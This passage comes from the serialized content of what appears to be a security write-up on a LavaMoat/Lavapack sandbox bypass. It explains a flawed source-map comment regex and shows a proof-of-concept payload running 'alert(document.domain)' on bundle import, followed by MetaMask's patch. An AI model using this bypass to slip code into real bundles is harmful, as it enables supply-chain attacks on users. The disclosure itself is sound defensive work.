opts);\n}\n",[48015],{"type":26,"tag":53,"props":48016,"children":48017},{"__ignoreMap":7},[48018,48030,48080,48091,48098,48118,48159,48219,48260],{"type":26,"tag":475,"props":48019,"children":48020},{"class":477,"line":478},[48021,48026],{"type":26,"tag":475,"props":48022,"children":48023},{"style":586},[48024],{"type":32,"value":48025},"try",{"type":26,"tag":475,"props":48027,"children":48028},{"style":499},[48029],{"type":32,"value":579},{"type":26,"tag":475,"props":48031,"children":48032},{"class":477,"line":516},[48033,48038,48042,48047,48051,48056,48060,48065,48071,48076],{"type":26,"tag":475,"props":48034,"children":48035},{"style":493},[48036],{"type":32,"value":48037}," eval",{"type":26,"tag":475,"props":48039,"children":48040},{"style":499},[48041],{"type":32,"value":626},{"type":26,"tag":475,"props":48043,"children":48044},{"style":629},[48045],{"type":32,"value":48046},"'throw \"STOP\"; (function () { '",{"type":26,"tag":475,"props":48048,"children":48049},{"style":714},[48050],{"type":32,"value":8616},{"type":26,"tag":475,"props":48052,"children":48053},{"style":2375},[48054],{"type":32,"value":48055}," src",{"type":26,"tag":475,"props":48057,"children":48058},{"style":714},[48059],{"type":32,"value":8616},{"type":26,"tag":475,"props":48061,"children":48062},{"style":629},[48063],{"type":32,"value":48064}," '",{"type":26,"tag":475,"props":48066,"children":48068},{"style":48067},"--shiki-default:#D7BA7D",[48069],{"type":32,"value":48070},"\\n",{"type":26,"tag":475,"props":48072,"children":48073},{"style":629},[48074],{"type":32,"value":48075},"})()'",{"type":26,"tag":475,"props":48077,"children":48078},{"style":499},[48079],{"type":32,"value":3533},{"type":26,"tag":475,"props":48081,"children":48082},{"class":477,"line":539},[48083,48087],{"type":26,"tag":475,"props":48084,"children":48085},{"style":586},[48086],{"type":32,"value":16695},{"type":26,"tag":475,"props":48088,"children":48089},{"style":499},[48090],{"type":32,"value":2729},{"type":26,"tag":475,"props":48092,"children":48093},{"class":477,"line":548},[48094],{"type":26,"tag":475,"props":48095,"children":48096},{"style":499},[48097],{"type":32,"value":3607},{"type":26,"tag":475,"props":48099,"children":48100},{"class":477,"line":558},[48101,48105,48109,48114],{"type":26,"tag":475,"props":48102,"children":48103},{"style":586},[48104],{"type":32,"value":661},{"type":26,"tag":475,"props":48106,"children":48107},{"style":499},[48108],{"type":32,"value":2775},{"type":26,"tag":475,"props":48110,"children":48111},{"style":2375},[48112],{"type":32,"value":48113},"err",{"type":26,"tag":475,"props":48115,"children":48116},{"style":499},[48117],{"type":32,"value":676},{"type":26,"tag":475,"props":48119,"children":48120},{"class":477,"line":582},[48121,48125,48129,48133,48137,48142,48146,48151,48155],{"type":26,"tag":475,"props":48122,"children":48123},{"style":586},[48124],{"type":32,"value":11988},{"type":26,"tag":475,"props":48126,"children":48127},{"style":499},[48128],{"type":32,"value":2775},{"type":26,"tag":475,"props":48130,"children":48131},{"style":2375},[48132],{"type":32,"value":48113},{"type":26,"tag":475,"props":48134,"children":48135},{"style":714},[48136],{"type":32,"value":31122},{"type":26,"tag":475,"props":48138,"children":48139},{"style":629},[48140],{"type":32,"value":48141}," 'STOP'",{"type":26,"tag":475,"props":48143,"children":48144},{"style":499},[48145],{"type":32,"value":2794},{"type":26,"tag":475,"props":48147,"children":48148},{"style":586},[48149],{"type":32,"value":48150},"return",{"type":26,"tag":475,"props":48152,"children":48153},{"style":482},[48154],{"type":32,"value":39029},{"type":26,"tag":475,"props":48156,"children":48157},{"style":499},[48158],{"type":32,"value":2729},{"type":26,"tag":475,"props":48160,"children":48161},{"class":477,"line":596},[48162,48166,48170,48174,48178,48183,48187,48192,48197,48202,48206,48210,48215],{"type":26,"tag":475,"props":48163,"children":48164},{"style":586},[48165],{"type":32,"value":11988},{"type":26,"tag":475,"props":48167,"children":48168},{"style":499},[48169],{"type":32,"value":2775},{"type":26,"tag":475,"props":48171,"children":48172},{"style":2375},[48173],{"type":32,"value":48113},{"type":26,"tag":475,"props":48175,"children":48176},{"style":499},[48177],{"type":32,"value":353},{"type":26,"tag":475,"props":48179,"children":48180},{"style":2375},[48181],{"type":32,"value":48182},"constructor",{"type":26,"tag":475,"props":48184,"children":48185},{"style":499},[48186],{"type":32,"value":353},{"type":26,"tag":475,"props":48188,"children":48189},{"style":2375},[48190],{"type":32,"value":48191},"name",{"type":26,"tag":475,"props":48193,"children":48194},{"style":714},[48195],{"type":32,"value":48196}," !==",{"type":26,"tag":475,"props":48198,"children":48199},{"style":629},[48200],{"type":32,"value":48201}," 'SyntaxError'",{"type":26,"tag":475,"props":48203,"children":48204},{"style":499},[48205],{"type":32,"value":2794},{"type":26,"tag":475,"props":48207,"children":48208},{"style":586},[48209],{"type":32,"value":48150},{"type":26,"tag":475,"props":48211,"children":48212},{"style":2375},[48213],{"type":32,"value":48214}," err",{"type":26,"tag":475,"props":48216,"children":48217},{"style":499},[48218],{"type":32,"value":2729},{"type":26,"tag":475,"props":48220,"children":48221},{"class":477,"line":610},[48222,48226,48231,48235,48239,48243,48247,48251,48256],{"type":26,"tag":475,"props":48223,"children":48224},{"style":586},[48225],{"type":32,"value":16695},{"type":26,"tag":475,"props":48227,"children":48228},{"style":493},[48229],{"type":32,"value":48230}," errorInfo",{"type":26,"tag":475,"props":48232,"children":48233},{"style":499},[48234],{"type":32,"value":626},{"type":26,"tag":475,"props":48236,"children":48237},{"style":2375},[48238],{"type":32,"value":32368},{"type":26,"tag":475,"props":48240,"children":48241},{"style":499},[48242],{"type":32,"value":637},{"type":26,"tag":475,"props":48244,"children":48245},{"style":2375},[48246],{"type":32,"value":47638},{"type":26,"tag":475,"props":48248,"children":48249},{"style":499},[48250],{"type":32,"value":637},{"type":26,"tag":475,"props":48252,"children":48253},{"style":2375},[48254],{"type":32,"value":48255},"opts",{"type":26,"tag":475,"props":48257,"children":48258},{"style":499},[48259],{"type":32,"value":3533},{"type":26,"tag":475,"props":48261,"children":48262},{"class":477,"line":650},[48263],{"type":26,"tag":475,"props":48264,"children":48265},{"style":499},[48266],{"type":32,"value":3607},{"type":26,"tag":35,"props":48268,"children":48269},{},[48270,48272,48276,48278,48284,48286,48291],{"type":32,"value":48271},"Interestingly, it ",{"type":26,"tag":2615,"props":48273,"children":48274},{},[48275],{"type":32,"value":3682},{"type":32,"value":48277}," possible to inject a ",{"type":26,"tag":53,"props":48279,"children":48281},{"className":48280},[],[48282],{"type":32,"value":48283},"}); (() => {",{"type":32,"value":48285}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":26,"tag":53,"props":48287,"children":48289},{"className":48288},[],[48290],{"type":32,"value":47808},{"type":32,"value":48292}," sandbox of Lavapack.",{"type":26,"tag":41,"props":48294,"children":48296},{"id":48295},"sourcemap-the-syntax-killer",[48297],{"type":32,"value":48298},"SourceMap: The Syntax Killer",{"type":26,"tag":35,"props":48300,"children":48301},{},[48302,48304,48311],{"type":32,"value":48303},"Lavapack has a feature to extract source maps files from the code using ",{"type":26,"tag":116,"props":48305,"children":48308},{"href":48306,"rel":48307},"https://www.npmjs.com/package/convert-source-map",[120],[48309],{"type":32,"value":48310},"convert-source-map",{"type":32,"value":48312}," npm package:",{"type":26,"tag":465,"props":48314,"children":48316},{"className":2332,"code":48315,"language":2334,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[48317],{"type":26,"tag":53,"props":48318,"children":48319},{"__ignoreMap":7},[48320,48344,48386,48394,48435,48476,48504],{"type":26,"tag":475,"props":48321,"children":48322},{"class":477,"line":478},[48323,48327,48332,48336,48340],{"type":26,"tag":475,"props":48324,"children":48325},{"style":482},[48326],{"type":32,"value":31077},{"type":26,"tag":475,"props":48328,"children":48329},{"style":493},[48330],{"type":32,"value":48331}," extractSourceMaps",{"type":26,"tag":475,"props":48333,"children":48334},{"style":499},[48335],{"type":32,"value":626},{"type":26,"tag":475,"props":48337,"children":48338},{"style":2375},[48339],{"type":32,"value":37707},{"type":26,"tag":475,"props":48341,"children":48342},{"style":499},[48343],{"type":32,"value":676},{"type":26,"tag":475,"props":48345,"children":48346},{"class":477,"line":516},[48347,48351,48356,48360,48365,48369,48374,48378,48382],{"type":26,"tag":475,"props":48348,"children":48349},{"style":482},[48350],{"type":32,"value":35883},{"type":26,"tag":475,"props":48352,"children":48353},{"style":2375},[48354],{"type":32,"value":48355}," converter",{"type":26,"tag":475,"props":48357,"children":48358},{"style":714},[48359],{"type":32,"value":2383},{"type":26,"tag":475,"props":48361,"children":48362},{"style":2375},[48363],{"type":32,"value":48364}," convertSourceMap",{"type":26,"tag":475,"props":48366,"children":48367},{"style":499},[48368],{"type":32,"value":353},{"type":26,"tag":475,"props":48370,"children":48371},{"style":493},[48372],{"type":32,"value":48373},"fromSource",{"type":26,"tag":475,"props":48375,"children":48376},{"style":499},[48377],{"type":32,"value":626},{"type":26,"tag":475,"props":48379,"children":48380},{"style":2375},[48381],{"type":32,"value":37707},{"type":26,"tag":475,"props":48383,"children":48384},{"style":499},[48385],{"type":32,"value":647},{"type":26,"tag":475,"props":48387,"children":48388},{"class":477,"line":539},[48389],{"type":26,"tag":475,"props":48390,"children":48391},{"style":552},[48392],{"type":32,"value":48393}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":26,"tag":475,"props":48395,"children":48396},{"class":477,"line":548},[48397,48401,48406,48410,48414,48418,48422,48426,48431],{"type":26,"tag":475,"props":48398,"children":48399},{"style":482},[48400],{"type":32,"value":35883},{"type":26,"tag":475,"props":48402,"children":48403},{"style":2375},[48404],{"type":32,"value":48405}," maps",{"type":26,"tag":475,"props":48407,"children":48408},{"style":714},[48409],{"type":32,"value":2383},{"type":26,"tag":475,"props":48411,"children":48412},{"style":2375},[48413],{"type":32,"value":48355},{"type":26,"tag":475,"props":48415,"children":48416},{"style":714},[48417],{"type":32,"value":13892},{"type":26,"tag":475,"props":48419,"children":48420},{"style":2375},[48421],{"type":32,"value":48355},{"type":26,"tag":475,"props":48423,"children":48424},{"style":499},[48425],{"type":32,"value":353},{"type":26,"tag":475,"props":48427,"children":48428},{"style":493},[48429],{"type":32,"value":48430},"toObject",{"type":26,"tag":475,"props":48432,"children":48433},{"style":499},[48434],{"type":32,"value":607},{"type":26,"tag":475,"props":48436,"children":48437},{"class":477,"line":558},[48438,48442,48447,48451,48455,48459,48464,48468,48472],{"type":26,"tag":475,"props":48439,"children":48440},{"style":482},[48441],{"type":32,"value":35883},{"type":26,"tag":475,"props":48443,"children":48444},{"style":2375},[48445],{"type":32,"value":48446}," code",{"type":26,"tag":475,"props":48448,"children":48449},{"style":714},[48450],{"type":32,"value":2383},{"type":26,"tag":475,"props":48452,"children":48453},{"style":2375},[48454],{"type":32,"value":48364},{"type":26,"tag":475,"props":48456,"children":48457},{"style":499},[48458],{"type":32,"value":353},{"type":26,"tag":475,"props":48460,"children":48461},{"style":493},[48462],{"type":32,"value":48463},"removeComments",{"type":26,"tag":475,"props":48465,"children":48466},{"style":499},[48467],{"type":32,"value":626},{"type":26,"tag":475,"props":48469,"children":48470},{"style":2375},[48471],{"type":32,"value":37707},{"type":26,"tag":475,"props":48473,"children":48474},{"style":499},[48475],{"type":32,"value":647},{"type":26,"tag":475,"props":48477,"children":48478},{"class":477,"line":582},[48479,48483,48487,48491,48495,48500],{"type":26,"tag":475,"props":48480,"children":48481},{"style":586},[48482],{"type":32,"value":38891},{"type":26,"tag":475,"props":48484,"children":48485},{"style":499},[48486],{"type":32,"value":1101},{"type":26,"tag":475,"props":48488,"children":48489},{"style":2375},[48490],{"type":32,"value":53},{"type":26,"tag":475,"props":48492,"children":48493},{"style":499},[48494],{"type":32,"value":637},{"type":26,"tag":475,"props":48496,"children":48497},{"style":2375},[48498],{"type":32,"value":48499},"maps",{"type":26,"tag":475,"props":48501,"children":48502},{"style":499},[48503],{"type":32,"value":1116},{"type":26,"tag":475,"props":48505,"children":48506},{"class":477,"line":596},[48507],{"type":26,"tag":475,"props":48508,"children":48509},{"style":499},[48510],{"type":32,"value":3607},{"type":26,"tag":35,"props":48512,"children":48513},{},[48514,48516,48521,48523,48528],{"type":32,"value":48515},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":26,"tag":53,"props":48517,"children":48519},{"className":48518},[],[48520],{"type":32,"value":47959},{"type":32,"value":48522}," stage. Reviewing the ",{"type":26,"tag":53,"props":48524,"children":48526},{"className":48525},[],[48527],{"type":32,"value":48310},{"type":32,"value":48529}," code, we can see exactly how this happens.",{"type":26,"tag":465,"props":48531,"children":48533},{"className":2332,"code":48532,"language":2334,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[48534],{"type":26,"tag":53,"props":48535,"children":48536},{"__ignoreMap":7},[48537,48575,48601,48609,48823,48830,48837,48844,48879,48929],{"type":26,"tag":475,"props":48538,"children":48539},{"class":477,"line":478},[48540,48545,48549,48554,48558,48562,48566,48571],{"type":26,"tag":475,"props":48541,"children":48542},{"style":2375},[48543],{"type":32,"value":48544},"Object",{"type":26,"tag":475,"props":48546,"children":48547},{"style":499},[48548],{"type":32,"value":353},{"type":26,"tag":475,"props":48550,"children":48551},{"style":493},[48552],{"type":32,"value":48553},"defineProperty",{"type":26,"tag":475,"props":48555,"children":48556},{"style":499},[48557],{"type":32,"value":626},{"type":26,"tag":475,"props":48559,"children":48560},{"style":505},[48561],{"type":32,"value":37579},{"type":26,"tag":475,"props":48563,"children":48564},{"style":499},[48565],{"type":32,"value":637},{"type":26,"tag":475,"props":48567,"children":48568},{"style":629},[48569],{"type":32,"value":48570},"'commentRegex'",{"type":26,"tag":475,"props":48572,"children":48573},{"style":499},[48574],{"type":32,"value":2407},{"type":26,"tag":475,"props":48576,"children":48577},{"class":477,"line":516},[48578,48583,48587,48591,48596],{"type":26,"tag":475,"props":48579,"children":48580},{"style":493},[48581],{"type":32,"value":48582}," get",{"type":26,"tag":475,"props":48584,"children":48585},{"style":2375},[48586],{"type":32,"value":179},{"type":26,"tag":475,"props":48588,"children":48589},{"style":482},[48590],{"type":32,"value":37907},{"type":26,"tag":475,"props":48592,"children":48593},{"style":493},[48594],{"type":32,"value":48595}," getCommentRegex",{"type":26,"tag":475,"props":48597,"children":48598},{"style":499},[48599],{"type":32,"value":48600}," () {\n",{"type":26,"tag":475,"props":48602,"children":48603},{"class":477,"line":539},[48604],{"type":26,"tag":475,"props":48605,"children":48606},{"style":552},[48607],{"type":32,"value":48608}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":26,"tag":475,"props":48610,"children":48611},{"class":477,"line":548},[48612,48616,48622,48627,48632,48637,48641,48646,48651,48656,48660,48664,48669,48674,48679,48684,48688,48692,48696,48701,48705,48710,48715,48720,48725,48729,48733,48737,48741,48745,48749,48753,48757,48762,48767,48771,48776,48781,48785,48789,48793,48797,48802,48806,48810,48814,48819],{"type":26,"tag":475,"props":48613,"children":48614},{"style":586},[48615],{"type":32,"value":16695},{"type":26,"tag":475,"props":48617,"children":48619},{"style":48618},"--shiki-default:#D16969",[48620],{"type":32,"value":48621}," /",{"type":26,"tag":475,"props":48623,"children":48624},{"style":493},[48625],{"type":32,"value":48626},"^",{"type":26,"tag":475,"props":48628,"children":48629},{"style":48618},[48630],{"type":32,"value":48631},"\\s",{"type":26,"tag":475,"props":48633,"children":48634},{"style":48067},[48635],{"type":32,"value":48636},"*?\\/",{"type":26,"tag":475,"props":48638,"children":48639},{"style":629},[48640],{"type":32,"value":3440},{"type":26,"tag":475,"props":48642,"children":48643},{"style":48067},[48644],{"type":32,"value":48645},"\\/\\*",{"type":26,"tag":475,"props":48647,"children":48648},{"style":629},[48649],{"type":32,"value":48650},"][",{"type":26,"tag":475,"props":48652,"children":48653},{"style":48618},[48654],{"type":32,"value":48655},"@#",{"type":26,"tag":475,"props":48657,"children":48658},{"style":629},[48659],{"type":32,"value":15117},{"type":26,"tag":475,"props":48661,"children":48662},{"style":48618},[48663],{"type":32,"value":48631},{"type":26,"tag":475,"props":48665,"children":48666},{"style":48067},[48667],{"type":32,"value":48668},"+?",{"type":26,"tag":475,"props":48670,"children":48671},{"style":48618},[48672],{"type":32,"value":48673},"sourceMappingURL=data:",{"type":26,"tag":475,"props":48675,"children":48676},{"style":629},[48677],{"type":32,"value":48678},"(((?:",{"type":26,"tag":475,"props":48680,"children":48681},{"style":48618},[48682],{"type":32,"value":48683},"application",{"type":26,"tag":475,"props":48685,"children":48686},{"style":493},[48687],{"type":32,"value":10124},{"type":26,"tag":475,"props":48689,"children":48690},{"style":48618},[48691],{"type":32,"value":32},{"type":26,"tag":475,"props":48693,"children":48694},{"style":629},[48695],{"type":32,"value":2835},{"type":26,"tag":475,"props":48697,"children":48698},{"style":48067},[48699],{"type":32,"value":48700},"\\/",{"type":26,"tag":475,"props":48702,"children":48703},{"style":48618},[48704],{"type":32,"value":2489},{"type":26,"tag":475,"props":48706,"children":48707},{"style":629},[48708],{"type":32,"value":48709},")(?:",{"type":26,"tag":475,"props":48711,"children":48712},{"style":48618},[48713],{"type":32,"value":48714},";charset=",{"type":26,"tag":475,"props":48716,"children":48717},{"style":629},[48718],{"type":32,"value":48719},"([^",{"type":26,"tag":475,"props":48721,"children":48722},{"style":48618},[48723],{"type":32,"value":48724},";,",{"type":26,"tag":475,"props":48726,"children":48727},{"style":629},[48728],{"type":32,"value":15117},{"type":26,"tag":475,"props":48730,"children":48731},{"style":48067},[48732],{"type":32,"value":48668},{"type":26,"tag":475,"props":48734,"children":48735},{"style":629},[48736],{"type":32,"value":2835},{"type":26,"tag":475,"props":48738,"children":48739},{"style":48067},[48740],{"type":32,"value":2863},{"type":26,"tag":475,"props":48742,"children":48743},{"style":629},[48744],{"type":32,"value":2835},{"type":26,"tag":475,"props":48746,"children":48747},{"style":48067},[48748],{"type":32,"value":2863},{"type":26,"tag":475,"props":48750,"children":48751},{"style":629},[48752],{"type":32,"value":2835},{"type":26,"tag":475,"props":48754,"children":48755},{"style":48067},[48756],{"type":32,"value":2863},{"type":26,"tag":475,"props":48758,"children":48759},{"style":629},[48760],{"type":32,"value":48761},"(?:",{"type":26,"tag":475,"props":48763,"children":48764},{"style":48618},[48765],{"type":32,"value":48766},";",{"type":26,"tag":475,"props":48768,"children":48769},{"style":629},[48770],{"type":32,"value":626},{"type":26,"tag":475,"props":48772,"children":48773},{"style":48618},[48774],{"type":32,"value":48775},"base64",{"type":26,"tag":475,"props":48777,"children":48778},{"style":629},[48779],{"type":32,"value":48780},"))",{"type":26,"tag":475,"props":48782,"children":48783},{"style":48067},[48784],{"type":32,"value":2863},{"type":26,"tag":475,"props":48786,"children":48787},{"style":48618},[48788],{"type":32,"value":3835},{"type":26,"tag":475,"props":48790,"children":48791},{"style":629},[48792],{"type":32,"value":626},{"type":26,"tag":475,"props":48794,"children":48795},{"style":48618},[48796],{"type":32,"value":353},{"type":26,"tag":475,"props":48798,"children":48799},{"style":48067},[48800],{"type":32,"value":48801},"*?",{"type":26,"tag":475,"props":48803,"children":48804},{"style":629},[48805],{"type":32,"value":2835},{"type":26,"tag":475,"props":48807,"children":48808},{"style":493},[48809],{"type":32,"value":9997},{"type":26,"tag":475,"props":48811,"children":48812},{"style":48618},[48813],{"type":32,"value":4292},{"type":26,"tag":475,"props":48815,"children":48816},{"style":482},[48817],{"type":32,"value":48818},"mg",{"type":26,"tag":475,"props":48820,"children":48821},{"style":499},[48822],{"type":32,"value":2729},{"type":26,"tag":475,"props":48824,"children":48825},{"class":477,"line":558},[48826],{"type":26,"tag":475,"props":48827,"children":48828},{"style":499},[48829],{"type":32,"value":5585},{"type":26,"tag":475,"props":48831,"children":48832},{"class":477,"line":582},[48833],{"type":26,"tag":475,"props":48834,"children":48835},{"style":499},[48836],{"type":32,"value":35033},{"type":26,"tag":475,"props":48838,"children":48839},{"class":477,"line":596},[48840],{"type":26,"tag":475,"props":48841,"children":48842},{"emptyLinePlaceholder":18},[48843],{"type":32,"value":545},{"type":26,"tag":475,"props":48845,"children":48846},{"class":477,"line":610},[48847,48851,48855,48859,48863,48867,48871,48875],{"type":26,"tag":475,"props":48848,"children":48849},{"style":505},[48850],{"type":32,"value":37579},{"type":26,"tag":475,"props":48852,"children":48853},{"style":499},[48854],{"type":32,"value":353},{"type":26,"tag":475,"props":48856,"children":48857},{"style":493},[48858],{"type":32,"value":48463},{"type":26,"tag":475,"props":48860,"children":48861},{"style":714},[48862],{"type":32,"value":2383},{"type":26,"tag":475,"props":48864,"children":48865},{"style":482},[48866],{"type":32,"value":37907},{"type":26,"tag":475,"props":48868,"children":48869},{"style":499},[48870],{"type":32,"value":2775},{"type":26,"tag":475,"props":48872,"children":48873},{"style":2375},[48874],{"type":32,"value":32368},{"type":26,"tag":475,"props":48876,"children":48877},{"style":499},[48878],{"type":32,"value":676},{"type":26,"tag":475,"props":48880,"children":48881},{"class":477,"line":650},[48882,48886,48890,48894,48899,48903,48907,48911,48916,48920,48925],{"type":26,"tag":475,"props":48883,"children":48884},{"style":586},[48885],{"type":32,"value":38891},{"type":26,"tag":475,"props":48887,"children":48888},{"style":2375},[48889],{"type":32,"value":48055},{"type":26,"tag":475,"props":48891,"children":48892},{"style":499},[48893],{"type":32,"value":353},{"type":26,"tag":475,"props":48895,"children":48896},{"style":493},[48897],{"type":32,"value":48898},"replace",{"type":26,"tag":475,"props":48900,"children":48901},{"style":499},[48902],{"type":32,"value":626},{"type":26,"tag":475,"props":48904,"children":48905},{"style":505},[48906],{"type":32,"value":37579},{"type":26,"tag":475,"props":48908,"children":48909},{"style":499},[48910],{"type":32,"value":353},{"type":26,"tag":475,"props":48912,"children":48913},{"style":2375},[48914],{"type":32,"value":48915},"commentRegex",{"type":26,"tag":475,"props":48917,"children":48918},{"style":499},[48919],{"type":32,"value":637},{"type":26,"tag":475,"props":48921,"children":48922},{"style":629},[48923],{"type":32,"value":48924},"''",{"type":26,"tag":475,"props":48926,"children":48927},{"style":499},[48928],{"type":32,"value":3533},{"type":26,"tag":475,"props":48930,"children":48931},{"class":477,"line":679},[48932],{"type":26,"tag":475,"props":48933,"children":48934},{"style":499},[48935],{"type":32,"value":16283},{"type":26,"tag":35,"props":48937,"children":48938},{},[48939,48941,48947],{"type":32,"value":48940},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":26,"tag":53,"props":48942,"children":48944},{"className":48943},[],[48945],{"type":32,"value":48946},"/*",{"type":32,"value":48948},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":26,"tag":41,"props":48950,"children":48952},{"id":48951},"the-bypass",[48953],{"type":32,"value":48954},"The Bypass",{"type":26,"tag":35,"props":48956,"children":48957},{},[48958,48960,48965,48967,48972],{"type":32,"value":48959},"By abusing the ",{"type":26,"tag":53,"props":48961,"children":48963},{"className":48962},[],[48964],{"type":32,"value":48463},{"type":32,"value":48966}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":26,"tag":53,"props":48968,"children":48970},{"className":48969},[],[48971],{"type":32,"value":47808},{"type":32,"value":48973}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":26,"tag":465,"props":48975,"children":48977},{"className":2332,"code":48976,"language":2334,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[48978],{"type":26,"tag":53,"props":48979,"children":48980},{"__ignoreMap":7},[48981,48989,48996,49004,49012,49020,49028,49036,49044,49051,49059],{"type":26,"tag":475,"props":48982,"children":48983},{"class":477,"line":478},[48984],{"type":26,"tag":475,"props":48985,"children":48986},{"style":552},[48987],{"type":32,"value":48988},"/*# sourceMappingURL=data:,{}\n",{"type":26,"tag":475,"props":48990,"children":48991},{"class":477,"line":516},[48992],{"type":26,"tag":475,"props":48993,"children":48994},{"emptyLinePlaceholder":18},[48995],{"type":32,"value":545},{"type":26,"tag":475,"props":48997,"children":48998},{"class":477,"line":539},[48999],{"type":26,"tag":475,"props":49000,"children":49001},{"style":552},[49002],{"type":32,"value":49003},"}}}}\n",{"type":26,"tag":475,"props":49005,"children":49006},{"class":477,"line":548},[49007],{"type":26,"tag":475,"props":49008,"children":49009},{"style":552},[49010],{"type":32,"value":49011},"}, {\n",{"type":26,"tag":475,"props":49013,"children":49014},{"class":477,"line":558},[49015],{"type":26,"tag":475,"props":49016,"children":49017},{"style":552},[49018],{"type":32,"value":49019}," package: \"xpl\",\n",{"type":26,"tag":475,"props":49021,"children":49022},{"class":477,"line":582},[49023],{"type":26,"tag":475,"props":49024,"children":49025},{"style":552},[49026],{"type":32,"value":49027}," file: \"node_modules/xpl/index.js\",\n",{"type":26,"tag":475,"props":49029,"children":49030},{"class":477,"line":596},[49031],{"type":26,"tag":475,"props":49032,"children":49033},{"style":552},[49034],{"type":32,"value":49035}," test: alert(document.domain),\n",{"type":26,"tag":475,"props":49037,"children":49038},{"class":477,"line":610},[49039],{"type":26,"tag":475,"props":49040,"children":49041},{"style":552},[49042],{"type":32,"value":49043}," test1: () => { () => { () => { () => {\n",{"type":26,"tag":475,"props":49045,"children":49046},{"class":477,"line":650},[49047],{"type":26,"tag":475,"props":49048,"children":49049},{"emptyLinePlaceholder":18},[49050],{"type":32,"value":545},{"type":26,"tag":475,"props":49052,"children":49053},{"class":477,"line":679},[49054],{"type":26,"tag":475,"props":49055,"children":49056},{"style":552},[49057],{"type":32,"value":49058},"/*\n",{"type":26,"tag":475,"props":49060,"children":49061},{"class":477,"line":735},[49062],{"type":26,"tag":475,"props":49063,"children":49064},{"style":552},[49065],{"type":32,"value":49066},"*/\n",{"type":26,"tag":35,"props":49068,"children":49069},{},[49070],{"type":32,"value":49071},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":26,"tag":41,"props":49073,"children":49075},{"id":49074},"lavapack-patch",[49076],{"type":32,"value":49077},"Lavapack Patch",{"type":26,"tag":35,"props":49079,"children":49080},{},[49081,49083,49089],{"type":32,"value":49082},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":26,"tag":53,"props":49084,"children":49086},{"className":49085},[],[49087],{"type":32,"value":49088},"assertValidJS",{"type":32,"value":49090},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":26,"tag":35,"props":49092,"children":49093},{},[49094,49096,49103],{"type":32,"value":49095},"The patch was introduced in commit ",{"type":26,"tag":116,"props":49097,"children":49100},{"href":49098,"rel":49099},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[120],[49101],{"type":32,"value":49102},"9c38cd4",{"type":32,"value":353},{"type":26,"tag":465,"props":49105,"children":49107},{"className":40048,"code":49106,"language":40050,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[49108],{"type":26,"tag":53,"props":49109,"children":49110},{"__ignoreMap":7},[49111,49119,49127,49135,49143,49151,49159,49167,49174,49182],{"type":26,"tag":475,"props":49112,"children":49113},{"class":477,"line":478},[49114],{"type":26,"tag":475,"props":49115,"children":49116},{"style":903},[49117],{"type":32,"value":49118},"+ function assertValidJS(code) {\n",{"type":26,"tag":475,"props":49120,"children":49121},{"class":477,"line":516},[49122],{"type":26,"tag":475,"props":49123,"children":49124},{"style":903},[49125],{"type":32,"value":49126},"+ try {\n",{"type":26,"tag":475,"props":49128,"children":49129},{"class":477,"line":539},[49130],{"type":26,"tag":475,"props":49131,"children":49132},{"style":903},[49133],{"type":32,"value":49134},"+ new Function(code)\n",{"type":26,"tag":475,"props":49136,"children":49137},{"class":477,"line":548},[49138],{"type":26,"tag":475,"props":49139,"children":49140},{"style":903},[49141],{"type":32,"value":49142},"+ } catch (err) {\n",{"type":26,"tag":475,"props":49144,"children":49145},{"class":477,"line":558},[49146],{"type":26,"tag":475,"props":49147,"children":49148},{"style":903},[49149],{"type":32,"value":49150},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":26,"tag":475,"props":49152,"children":49153},{"class":477,"line":582},[49154],{"type":26,"tag":475,"props":49155,"children":49156},{"style":903},[49157],{"type":32,"value":49158},"+ }\n",{"type":26,"tag":475,"props":49160,"children":49161},{"class":477,"line":596},[49162],{"type":26,"tag":475,"props":49163,"children":49164},{"style":903},[49165],{"type":32,"value":49166},"+ }\n",{"type":26,"tag":475,"props":49168,"children":49169},{"class":477,"line":610},[49170],{"type":26,"tag":475,"props":49171,"children":49172},{"emptyLinePlaceholder":18},[49173],{"type":32,"value":545},{"type":26,"tag":475,"props":49175,"children":49176},{"class":477,"line":650},[49177],{"type":26,"tag":475,"props":49178,"children":49179},{"style":903},[49180],{"type":32,"value":49181},"+ // additional layer of syntax checking independent of browserify\n",{"type":26,"tag":475,"props":49183,"children":49184},{"class":477,"line":679},[49185],{"type":26,"tag":475,"props":49186,"children":49187},{"style":903},[49188],{"type":32,"value":49189},"+ 